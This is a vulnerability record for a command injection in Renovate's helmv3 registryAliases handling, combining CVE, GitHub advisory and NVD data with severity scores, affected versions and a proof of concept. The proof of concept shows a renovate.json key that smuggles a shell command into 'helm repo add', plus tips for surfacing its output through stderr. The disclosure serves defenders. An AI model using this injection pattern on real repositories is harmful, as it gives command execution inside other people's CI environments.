{"id":"CVE-2024-58376","aliases":["CVE-2024-58376","GHSA-rqgv-292v-5qgr"],"related":[],"kind":"vulnerability","state":"published","title":"Renovate 37.158.0 before 37.199.0 Command Injection via helmv3","summary":"Renovate versions 37.158.0 before 37.199.0 contain a command injection vulnerability in the helmv3 manager's registryAliases handling that allows attackers with commit access to execute arbitrary commands. Attackers can manipulate registryAliases keys with unquoted shell metacharacters to inject commands executed during helm repo add operations, gaining full access to Renovate's execution environment.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Renovate versions 37.158.0 before 37.199.0 contain a command injection vulnerability in the helmv3 manager's registryAliases handling that allows attackers with commit access to execute arbitrary commands. Attackers can manipulate registryAliases keys with unquoted shell metacharacters to inject commands executed during helm repo add operations, gaining full access to Renovate's execution environment.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nAttackers with commit access to the default branch of a repo using Renovate could manipulate helmv3 registryAliases to execute arbitrary commands.\n\n### Details\n\nSince [#26848](https://github.com/renovatebot/renovate/pull/26848), `registryAliases` has become mergeable. This means that the helmv3 manager started honoring its value and uses a `helm repo add <key> <parameters>` command for each defined alias. See source code: https://github.com/renovatebot/renovate/blob/23f3df6216375cb5bcfe027b0faee304f877f891/lib/modules/manager/helmv3/artifacts.ts#L80\nThe key was not quoted, leading to the ability to use variable references (`$FOO`) in it and have them printed by Renovate on the pull request, or even running any shell commands.\n\n### PoC\n\nInside a repository where Renovate runs, add a Helm chart with an outdated dependency, for example:\n\ntest-chart/Chart.yaml:\n\n```\napiVersion: v2\nname: redis\nversion: 1.0.0\ndependencies:\n  - name: redis\n    version: 18.13.10\n    repository: oci://registry-1.docker.io/bitnamicharts\n```\n\ntest-chart/Chart.lock:\n\n```\ndependencies:\n- name: redis\n  repository: oci://registry-1.docker.io/bitnamicharts\n  version: 18.13.10\ndigest: sha256:11267bd32ea6c5c120ddebbb9f21e4a3c7700a961aa1a27ddb55df1fb8059a38\ngenerated: \"2024-02-16T13:31:20.807026334Z\"\n```\n\nThen add the following `renovate.json`:\n\n```json\n{\n  \"$schema\": \"https://docs.renovatebot.com/renovate-schema.json\",\n  \"extends\": [\n    \"config:base\"\n  ],\n  \"registryAliases\": {\n    \"foo/bar || sh -c 'ls /; exit 1' >&2\": \"registry.example.com/proxy\"\n  }\n}\n```\n\nOnce Renovate runs on the repository, it will create a pull request, and add a comment titled \"Artifact update problem\" containing the following text:\n\n```\nFile name: test-chart/Chart.lock\n\nCommand failed: helm repo add foo/bar || sh -c 'ls /; exit 1' >&2 registry.example.com/proxy --force-update\nError: \"helm repo add\" requires 2 arguments\n\nUsage:  helm repo add [NAME] [URL] [flags]\nbin\nboot\ndev\netc\ngo\nhome\nlib\nlib32\nlib64\nlibx32\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n```\n\nThis shows that the `ls` command executed successfully, and we can even see its output.\n\nNote that redirecting any output you want to see to stderr (`>&2`) and making sure the final command fails (`exit 1`) is required in this case, as Renovate only adds a comment if the command fails, and it contains only stderr (not stdout) output.\n\n### Impact\n\nAll Renovate versions from 37.158.0 up until 37.199.0 were affected. This vulnerability allows full access to Renovate's execution environment. The level of severity depends on how Renovate is deployed (Docker, Kubernetes, CI pipeline, ...) and whether Renovate is being offered to untrusted users/repositories.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Las versiones de Renovate 37.158.0 anteriores a la 37.199.0 contienen una vulnerabilidad de inyección de comandos en el manejo de registryAliases del gestor helmv3 que permite a los atacantes con acceso de confirmación ejecutar comandos arbitrarios. Los atacantes pueden manipular las claves de registryAliases con metacaracteres de shell sin comillas para inyectar comandos ejecutados durante las operaciones de 'helm repo add', obteniendo acceso total al entorno de ejecución de Renovate.","source":"nvd"}],"published":"2024-04-23T16:21:09.000Z","modified":"2026-10-01T23:10:00.233Z","severity":{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":8.4,"rating":"HIGH"},"severities":[{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":8.4,"rating":"HIGH"},{"scorer":"VulnCheck","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","score":6.7,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N","score":5.4,"rating":"MEDIUM"}],"cwes":["CWE-78"],"affected":[{"ranges":[{"type":"semver","introduced":"37.158.0","fixed":"37.199.0","status":"affected"},{"type":"semver","version":"37.199.0","status":"unaffected"}],"vendor":"renovatebot","product":"renovate","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"37.158.0","status":"affected","fixed":"37.199.0"}],"ecosystem":"npm","package":"renovate","purl":"pkg:npm/renovate","source":"ghsa"}],"references":[{"url":"https://github.com/renovatebot/renovate/security/advisories/GHSA-rqgv-292v-5qgr","tags":["vendor-advisory","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://www.vulncheck.com/advisories/renovate-before-command-injection-via-helmv3","tags":["third-party-advisory"],"sources":["cvelist","nvd"]},{"url":"https://github.com/renovatebot/renovate/commit/1e941fd885c799f2d38f4084a6f4cb9438813c8f","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/renovatebot/renovate","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/renovatebot/renovate/blob/23f3df6216375cb5bcfe027b0faee304f877f891/lib/modules/manager/helmv3/artifacts.ts#L80","tags":["web"],"sources":["ghsa"]}],"credits":["meyfa"],"assigner":"VulnCheck","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"yes","technicalImpact":"total","date":"2026-08-20T13:52:34.194Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-58376","url":"https://www.cve.org/CVERecord?id=CVE-2024-58376","licence":"CVE Terms of Use","modified":"2026-09-29T22:10:34.429Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-rqgv-292v-5qgr","url":"https://github.com/advisories/GHSA-rqgv-292v-5qgr","licence":"CC-BY-4.0","modified":"2026-08-20T04:04:10.618Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-58376","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-58376","licence":"Public domain","modified":"2026-10-01T23:10:00.233Z"}],"updatedAt":"2026-11-25T22:58:53.066Z","epss":{"score":0.00686,"percentile":0.53891,"date":"2026-12-01T12:00:22.000Z"}}